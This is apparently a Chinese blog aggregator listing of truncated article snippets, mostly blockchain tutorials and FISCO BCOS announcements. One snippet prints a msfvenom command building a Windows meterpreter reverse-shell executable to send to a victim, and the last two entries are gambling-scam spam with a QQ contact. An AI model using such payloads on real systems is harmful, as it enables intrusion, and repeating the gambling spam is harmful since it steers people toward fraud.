FISCO BCOS WorkShop | 区块链开发特训营,开课啦! - FISCO-BCOS
FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。
代码仓库:https: github.com/FIS...[2019/6/26]
第四章 自己动手写比特币之钱包
概览
生成钱包
钱包余额
生成交易
使用钱包
测试体验
小结
概览
钱包的目的是为了给用户创建更高层的抽象接口来对交易进行管理。
我们最终的目的是让用户可以方便的:
创建一个新钱包
查看钱包的余额
在钱包之间进行交易
以上这些生效后,用户就不需要知道上一章节中描述的inputs和out...[2019/6/25]
自己动手实现区块链
200行代码实现一个最小化可工作区块链,1500行代码实现一个加密货币网络系统。如果这次你还不能理解区块链是怎么回事的话,你打我!如果理解了,你打赏我,github项目右上方给我打个星,Star一下以示鼓励!
本教程将带领大家从零开始开发一套可行的加密货币系统。开发的基本原则就是尽量的简单易...[2019/6/25]
Fabric1.4源码解析:Peer节点背书提案过程
以前从来没有写过博客,从这段时间开始才开始写一些自己的博客,之前总觉得写一篇博客要耗费大量的时间,而且写的还是自己已经学会的,觉得没什么必要。但是当开始用博客记录下来的时候,才发现有些学会的地方只是自己觉得已经学会了,还是有太多地方需要学习,眼高手低了,所以以后会养成写博客的好习惯,保持记录。
今...[2019/6/25]
36小时极客嘉年华!FISCO BCOS黑客马拉松报名启动 - FISCO-BCOS
FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。
代码仓库:https: github.com/FIS...[2019/6/25]
Hyperledger Fabric环境搭建过程
简单记录一下fabric版本1.4的环境搭建,运行环境为Ubuntu18.04,其中一些内容是根据官方文档整理的,如有错误欢迎批评指正。
本文只介绍最简单的环境搭建方法,具体的环境搭建解析在这里深入解析Hyperledger Fabric启动的全过程
。
1.搭建Fabric的前置条件
为了提高...[2019/6/24]
Hyperledger Fabric的多机部署
之前的文章深入解析Hyperledger Fabric启动的全过程主要讲解了Fabric的网络搭建,以及启动的整体流程,但是都是通过单机完成的。而区块链本身就是去中心化的,所以最终还是要完成Fabric网络的多机部署。在本文中,将会详细说明Fabric如何完成多机部署。
1 搭建环境
本文使用的...[2019/6/24]
Kali-利用metasploit中的exploit/multi/handler进行攻击
在攻击服务器上生成连接软件,LHOST为攻击机IP地址msfvenom -p window meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o met.exe打开msfconsole控制台将软件发给客户机上运行,此时ka...[2019/6/24]
第一章:最小可行区块链
概览
区块数据结构
区块哈希
创世块
创建区块
保存区块链
验证区块完整性
选择最长链
节点间通信
操作节点
架构
运行测试
小结
概览
区块链的基础概念非常简单, 说白了就是一个维护着一个持续增长的有序数据记录列表的这么一个分布式数据库。在此章节中我们将实现一个简单的玩具版的区块链。此章节结...[2019/6/24]
Fabric1.4源码中链码容器启动过程解析
想写点东西记录一下最近看的一些Fabric源码,本文使用的是fabric1.4的版本,所以对于其他版本的fabric,内容可能会有所不同。
其实我仅仅知道Go语言一些语法的使用,并不太熟悉Go语言,所以解析的内容可能会有误,欢迎大家批评指正。
本文想针对Fabric中链码容器的启动过程进行源码的解...[2019/6/24]
Cocos-BCX开发入门之cli_wallet
Cocos-BCX简介
区块链技术作为近几年来最具争议的技术,吸引了全世界的关注,尽管人们对它的评价却褒贬不一,有的人认为它就是一场骗局,亦或是一场投机者的狂欢,不过我却认为它真的能够对我们的生活带来一些改变,尤其是最近一年,区块链正在褪去只能炒币的形象,更多的结合到了我们的实际生活中给我们带来了...[2019/6/21]
比特币原理——交易与UTXO
UTXO
UTXO (Unspent Transaction Output) 未花费交易输出
传统的支付系统都是基于账户(account based)的,即:
若A向B转账20元
判断A的账户余额大于等于20元;
在B的账户上加20元;
同时在A的账户上减20元。
使用UTXO模型的加密货...[2019/6/17]
支付宝上线区块链就医系统,看病时间减少60%
据新浪浙江消息,全国首个区块链电子票据平台——浙江区块链电子票据平台(以下简称“平台”)今日正式上线。以后浙江市民看病无需前往窗口排队付钱,通过支付宝即可一键挂号、付款、查看票据,所有信息通过“平台”流转,平均就医时间减少60%。 此番上线,“平台”首批将覆盖浙一、浙二、浙大邵逸夫医院等在内的...[2019/6/13]
人民网慕课联手FISCO BCOS开源社区上线“区块链学院” - FISCO-BCOS
FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。
代码仓库:https: github.com/FIS...[2019/6/12]
说信任区块链时究竟在信任什么? - FISCO-BCOS
FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。
代码仓库:https: github.com/FISCO...[2019/6/11]
机器学习中的度量——字符串距离
??????机器学习是时下流行AI技术中一个很重要的方向,无论是有监督学习还是无监督学习都使用各种“度量”来得到不同样本数据的差异度或者不同样本数据的相似度。良好的“度量”可以显著提高算法的分类或预测的准确率,本文中将介绍机器学习中各种“度量”,“度量”主要由两种,分别为距离、相似度和相关系数,距...[2019/6/10]
比特币白皮书-学习笔记
1.简介(Introduction)
比特币这种电子支付系统,基于密码学原理而不基于信用。
点对点交易,不存在第三方中介的参与。
杜绝交易回滚的可能,防止欺诈。
2.交易(Transactions)
定义一枚电子货币就是一串数字签名链(coin as chain),每一位发送者通过对前一次交易...[2019/6/10]
联盟链FISCO BCOS权限控制一览 - FISCO-BCOS
FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。
代码仓库:https: github.com/FIS...[2019/5/31]
珠宝juelrye英语juelrye宝石
jewellery (usually uncountable, plural jewelleries)
1.(British spelling, Canadian) Collectively, personal ornamentation such as rings, necklaces, br...[2019/5/27]
英语foteball足球历史英语foteball足球历史
foteball n.足球
现代足球
参见:现代足球
现代足球起源地是在英格兰。传说在11世纪,英格兰与丹麦之间有过一场战争,战争结束后,英格兰人在清理战争废墟时发现一个丹麦入侵者的头骨,出于愤恨,他们便用脚去踢这个头骨,一群小孩见了便也来踢,不过他们发现头骨踢起来脚痛,于是用牛膀...[2019/5/20]
证券secuerity经济术语
证券按其性质不同,证券可以分为证据证券、凭证证券和有价证券三大类。证据证券只是单纯地证明一种事实的书面证明文件,如信用证、证据、提单等;凭证证券是指认定持证人是某种私权的合法权利者和持证人纪行的义务有效的书面证明文件,如存款单等。有价证券区别于上面两种证券的主要特征是可以让渡。
证券 百科...[2019/5/20]
基于Tendermint的区块链漂流瓶简单实现基于Tendermint的区块链漂流瓶简单实现
本文主要借demo介绍基于Tendermint的区块链应用开发,这个demo很简单,主要包含以下功能:
扔漂流瓶
捞漂流瓶
之后投放者和打捞者可以相互传递[加密]信息
代码已上传至github。
Tendermint
Tendermint帮我们实现了PBFT,相当于搭...[2019/5/10]
实现CTF智能合约题目的环境部署
本文章是参考一位大佬博客学来的。
智能合约题的环境主要包括两部分:一个是智能合约的部署,另一个就是监听合约事件进而发送flag的脚本。
智能合约部署
这里写的合约是指solidity合约,使用Remix IDE。
合约主要部署到以太坊测试链而非主链上(没钱??),几个主要的测试链:Ropsten...[2019/5/5]
EOS 资源汇总EOS 资源汇总
EOS 资源汇总
A curated list of EOS Ecosystem by [SuperONE](https: uperone.io/)
EOS 主网
超级节点
https: eos.live,EOS ...[2019/5/5]
Bitcoin: A Peer-to-Peer Electronic Cash SystemBitcoin: A Peer-to-Peer Electronic Cash System
https: bitcoincore.org/bitcoin.pdf 原文链接:http: www.cnblogs.com/ethereum/p/10794257.html[2019/4/30]
EOS.IO Technical White Paper v2
https: github.com/EOSIO/Documentation/blob/master/TechnicalWhitePaper.md
EOS.IO Technical White Paper v2
March 16, 2018
Abstract: The EOS.I...[2019/4/30]
[区块链\理解BTCD源码]GO语言实现一个区块链原型
摘要
本文构建了一个使用工作量证明机制(POW)的类BTC的区块链。将区块链持久化到一个Bolt数据库中,然后会提供一个简单的命令行接口,用来完成一些与区块链的交互操作。这篇文章目的是希望帮助大家理解BTC源码的架构,所以主要专注于的实现原理及存储上,暂时忽略了 “分布式&rdq...[2019/4/24]
区块链简介
概要
区块链包含的技术
区块链的传输过程
区块链的问题
概要
区块链是去年比较火的概念, 而让它这么出名的一个经典应用就是比特币. 区块链并不是指一种特殊的新技术, 而是一系列技术方案的集合, 通过这些技术方案的结合, 解决了去中心化的信用问题.
区块链是概念, 比特币则是区块链落地的一...[2019/4/23]
[区块链|非对称加密] 对数字证书(CA认证)原理的回顾
摘要:文中首先解释了加密解密的一些基础知识和概念,然后通过一个加密通信过程的例子说明了加密算法的作用,以及数字证书的出现所起的作用。接着对数字证书做一个详细的解释,并讨论一下windows中数字证书的管理,最后演示使用makecert生成数字证书。【注,转载自一篇2010年的技术文章,虽然时间有点...[2019/4/22]
一个简单的以太坊合约让imtoken支持多签
熟悉比特币和以太坊的人应该都知道,在比特币中有2种类型的地址,1开头的是P2PKH,就是个人地址,3开头的是P2SH,一般是一个多签地址。所以在原生上比特币就支持多签。多签的一个优势就是可以多方对一笔付款达成共识,才能支付成功。比如3个人合伙开公司,他们的对外付款是比特币,为了防止管理财务的人作恶...[2019/4/22]
geth搭建私有网络
geth --rpc --unlock "3ae88fe370c39384fc16da2c9e768cf5d2495b48,81063419f13cab5ac090cd8329d8fff9feead4a0" --rpcport "8546" --datadir data --keyst...[2019/4/15]
基于SimpleChain Beta的跨链交互与持续稳态思考
1. 区块链扩展性迷局
比特币作为第一个区块链应用与运行到目前为止最被信任的公链,其扩展性问题却持续被作为焦点贯穿着整个链的发展周期。事实上,在2009年1月4日比特币出现的那一天到2010年10月1日之间,并没有明确的区块上限,根据比特币区块链区块的数据结构最高可达到32M的容量。...[2019/4/11]
Go语言打造以太坊智能合约测试框架(level2)
传送门: 柏链项目学院
第二课 智能合约自动化编译
前期内容回顾
之前我们的介绍的是如何通过solc编译智能合约,并且调用智能合约,本节我们继续实践,将智能合约的代码自动化编译以及abi文件生成搞定。
我们需要掌握什么技能呢?
go语言调用命令行
toml配置文件处理
awk工具的...[2019/4/10]
【转载】学习可能用到的英语单词【转载】学习可能用到的英语单词
conjectural—based on gue ing 推测的-给予猜测的
consciously—on purpose 有意识地-有目的地
conserve—ret...[2019/4/9]
以太坊开发环境搭建
传送门: 柏链项目学院
以太坊开发环境搭建
1. 所需工具
geth
??geth是使用go语言实现的以太坊节点客户端,基于geth我们可以搭建一个用于开发的以太坊私有网络。
Remix ide
Remix ide用于编写和部署智能合约,以太坊智能合约主要使用solidity语...[2019/3/29]
Libp2p学习(一)
---恢复内容开始---
Libp2p学习
参考资料:libp2p-specifications : https: github.com/libp2p pecs
1. 介绍
Libp2p的实现目标是:
支持各种各样的传输方式:
传输:TCP,UDP,SCTP,UDP,uTP,QUIC,SS...[2019/3/26]
Go语言打造以太坊智能合约测试框架(level1)Go语言打造以太坊智能合约测试框架(level1)
传送门: 柏链项目学院
Go语言打造以太坊智能合约测试框架
前言
这是什么?
这是一个基于go语言编写的,自动化测试以太坊智能合约的开发框架,使用此框架,可以自动化的部署合约,自动测试合约内的功能函数。你也发现了,本框架模拟的是truffle框架,但是完全是基于go语言编写,而且以太坊...[2019/3/22]
《区块链技术与应用》北京大学肖臻老师公开课 笔记《区块链技术与应用》北京大学肖臻老师公开课 笔记
建立:2019.3.19
第2讲:比特币中的密码学原理
用到的主要功能:1.哈希函数 2.签名 密码学中的哈希被称为cryptographic hash function
哈希主要性质:1.哈希碰撞(collision resistance) 假如有一个2...[2019/3/21]
win10系统安装web3js的正确方法(2)
信渤网络科技是一家基于互联网信息服务的区块链技术公司,专业提供区块链技术培训,智能合约定制开发,文字图片数据存证上链等服务,为相关企业提供区块链应用落地项目的技术方案
崇尚代码即法律,做一个智能合约开发者,重点在于合约的交易逻辑设计,交流请访问微信yyy99966
最近由于工作需要重...[2019/3/19]
《区块链生存训练2.0》PDF
《区块链生存训练》2.0于2018年2月28日在我的知识星球里发布。时过1年多,很多内容又过时了,准备修改新的版本,现在把PDF公布出来。
下载地址:
链接: https: pan.baidu.com 1QmENC dW1z69C98hdoIeA
提取码: vggd
&...[2019/3/19]
EOS之hello智能合约解析
传送门: 柏链项目学院
EOS的智能合约与以太坊区别很大, EOS 的智能合约基于 WebA embly(WASM) 技术执行用户生成的应用程序和代码。WASM是一项新兴的网络标准,得到了谷歌,微软,苹果等公司的广泛支持。目前,用于构建编译为WASM的应用程序的最成熟工具链是使用C /...[2019/3/15]
以太坊remix-ide本地环境搭建
remix-ide简介
? remix-ide是一款以太坊官方solisity语言的在线IDE,可用于智能合约的编写、测试与部署,不过某些时候可能是在离线环境下工作或者受限于网速原因,使用在线remix-ide进行智能合约的开发体验很差,所以搭建一个本地remix-ide开发环境更有助于提升工作的...[2019/3/15]
从第一行代码开始开发区块链(三)
传送门: 柏链项目学院
3. 增加数据库和客户端
之前我们的区块链已经产生了,但是程序终止后,数据就丢失了!为了下次启动后能够继续,我们需要引入一个小型数据库。这一次,我们选择与短跑世界记录保持者同名的数据库-bolt。
bolt的内容不详细在这里介绍了,大家可以参考文章:与短跑名将...[2019/3/8]
从第一行代码开始开发区块链(二)
传送门: 柏链项目学院
如何通过go语言打造区块链
为什么选择go语言呢?因为个人兴趣爱好,作为后端语言go确实比c++要舒服一些,此外go语言对加密算法,hash函数支持的也非常好。
我们要支持哪些功能?
有区块的链表
pow 共识机制
UTXO模型
1. 有区块的链表
go语...[2019/3/6]
从第一行代码开始开发区块链(一)
传送门: 柏链项目学院
为什么会出现比特币呢?
比特币的白皮书标题已经说的很清楚了,中本聪只是为了打造一个点对点的现金系统,这套系统只要有终端上开启了该客户端,就会成为一个数据备份的副本,只要全世界还有一台机器运行该客户端,那么比特币网络就会永远活下去!
法币已经在广泛使用了,为什么...[2019/3/1]
BlockChain 的跨链技术的重要性和必要性
本期我们将从跨链技术的重要性和必要性、畅想区块链未来世界、什么是跨链、目前四种跨链技术的对比、构建EOS同构跨链体系群、EOCS跨链技术介绍、跨链通道、中继等几个层面带大家走进EOS跨链和EOCS的世界。
...[2019/2/27]
『区块链钱包』| 5分钟学会使用硬件钱包
传送门: 柏链项目学院
在学习使用硬件钱包之前呢,我们要先理解区块链中钱包和账户的关系。这个问题很容易理解,可以先思考一个问题:钱包和账户的功能是什么?
从字面意思来看,钱包和账户都是跟钱有关的两个概念。我们可以把这个问题和生活中用到的实体钱包来进行对比,大部分人钱包中都会有几张...[2019/2/27]
分享一些一分钟快三的大小单双走势技巧规律,教你如何止盈,大家一起来交流.
导师企鹅-359213571如果你此刻十分困难,不要灰心,放平心态,先想想此刻对你来说,到底什么最为重要,是技术还是本金,是心态还是人脉,把自己梳理清晰,然后设定好步骤,不要慌不要乱,天无绝人之路,勇敢的站起来,你可以的。技术可以通过学习获得,经验可以通过实战得到,心态可以通过调节增强,每一个人都...[2019/2/27]
一分钟快三的那些技巧走势规律?呵呵一分钟快三的那些技巧走势规律?呵呵
导师企鹅-359213571 如果你此刻十分困难,不要灰心,放平心态,先想想此刻对你来说,到底什么最为重要,是技术还是本金,是心态还是人脉,把自己梳理清晰,然后设定好步骤,不要慌不要乱,天无绝人之路,勇敢的站起来,你可以的。技术可以通过学习获得,经验可以通过实战得到,心态可以通过调节增强,每一个人...[2019/2/25]